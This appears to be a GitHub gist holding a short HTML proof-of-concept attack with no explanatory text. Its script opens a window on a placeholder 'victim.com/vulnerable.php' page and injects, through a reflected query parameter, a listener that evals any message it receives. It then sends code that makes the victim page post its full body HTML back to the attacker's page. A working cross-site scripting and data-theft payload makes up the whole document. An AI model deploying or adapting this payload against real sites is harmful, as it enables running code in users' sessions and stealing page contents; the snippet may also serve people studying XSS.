Skip to content

Instantly share code, notes, and snippets.

@ancat

ancat/gist:2862041

Created June 3, 2012 05:25
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ancat/2862041 to your computer and use it in GitHub Desktop.
Save ancat/2862041 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
gistfile1.html
<script>
var w = window.open("http://www.victim.com/vulnerable.php?string=<script>window.addEventListener('message', function(e) {eval(e.data);}, false)</script>", "somewindow");
w.postMessage("window.opener.postMessage(document.body.innerHTML, '*')", "*");
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment